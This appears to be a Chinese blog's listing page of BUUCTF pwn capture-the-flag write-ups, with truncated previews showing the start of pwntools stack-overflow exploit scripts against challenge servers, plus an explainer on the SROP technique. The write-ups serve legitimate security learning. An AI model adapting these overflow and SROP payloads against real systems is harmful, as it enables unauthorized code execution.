- 博客(8)
- 收藏
- 关注
RSS订阅原创 BUUCTF pwn水题大赏（七）（更新中）
BUUCTF pwn水题大赏wustctf2020_getshell wustctf2020_getshell 简单 32 位栈溢出。 exp： from pwn import* context.log_level = 'DEBUG' p=remote('node3.buuoj.cn',28411) #p=process('./wustctf2020_getshell') backdoor = 0x0804851B payload = 'a'*0x18+'a'*4+p32(backdoor) p.sen
2021-04-02 17:36:24
264
1
原创 BUUCTF pwn水题大赏（六）
BUUCTF pwn水题大赏suctf_2018_stack suctf_2018_stack 最最最最最最基本的栈溢出，也不知道为啥会这么高分。 exp： from pwn import* context.log_level = 'DEBUG' p=remote('node3.buuoj.cn',28582) #p=process('./SUCTF_2018_stack') elf=ELF('./SUCTF_2018_stack') payload = 'a'*0x28+p64(0x0040067A)
2021-03-11 20:45:47
461
1
原创 SROP
SROPSignal机制Signal机制漏洞Signal机制利用SROP成立的条件常用系统调用调用号64位32位 Signal机制 SROP 的全称是 Sigreturn Oriented Programming 。sigreturn是一个系统调用。 当内核向某个进程发起一个 signal ，该进程会被暂时挂起，进入内核。内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址 rt_sigreturn ，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用
2021-02-03 18:30:20
1036
原创 BUUCTF pwn水题大赏（五）
BUUCTF pwn水题大赏41.ciscn_2019_s_3 41.ciscn_2019_s_3 srop ，要注意 rsp 指向的位置。 exp： from pwn import* context.log_level = 'DEBUG' context.arch = 'amd64' p = remote('node3.buuoj.cn',29369) #p = process('./ciscn_s_3') elf = ELF('./ciscn_s_3') syscall_ret = 0x400517
2021-02-03 18:27:54
397
1
原创 BUUCTF pwn水题大赏（四）
BUUCTF pwn水题大赏31.[BJDCTF2nd]ydsneedgirlfriend232.babyheap_0ctf_201733.ciscn_2019_ne_534.[HarekazeCTF2019]baby_rop235.jarvisoj_fm36.pwn2_sctf_201637.jarvisoj_tell_me_something38.picoctf_2018_rop chain39.cmcc_simplerop40.[ZJCTF 2019]Login 31.[BJDCTF2nd]ydsne
2021-02-03 18:26:36
471
原创 BUUCTF pwn水题大赏（三）
BUUCTF pwn水题大赏21.铁人三项(第五赛区)_2018_rop22.bjdctf_2020_babyrop23.[BJDCTF 2nd]r2t424.[BJDCTF 2nd]test25.bjdctf_2020_babystack226.bjdctf_2020_babyrop227.bjdctf_2020_router28.others_babystack29.ciscn_2019_s_430.wdb2018_guess 21.铁人三项(第五赛区)_2018_rop 32位栈溢出，利用 write
2021-02-03 18:25:14
523
原创 BUUCTF pwn水题大赏（二）
BUUCTF pwn水题大赏11.get_started_3dsctf_201612.ciscn_2019_en_213.ciscn_2019_n_814.jarvisoj_level215.not_the_same_3dsctf_201616.[BJDCTF 2nd]one_gadget17.bjdctf_2020_babystack18.[HarekazeCTF2019]baby_rop19.jarvisoj_level2_x6420.ciscn_2019_n_5 11.get_started_3dsc
2021-02-03 18:23:43
278
原创 BUUCTF pwn水题大赏（一）
BUUCTF pwn水题大赏1.test_your_nc2.rip3.warmup_csaw_20164.pwn1_sctf_20165.ciscn_2019_n_16.jarvisoj_level07.ciscn_2019_c_18.[OGeek2019]babyrop9.[第五空间2019 决赛]PWN510.[BJDCTF 2nd]r2t311.get_started_3dsctf_201612.ciscn_2019_en_213.ciscn_2019_n_814.jarvisoj_level215.
2021-02-03 15:52:54
386
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人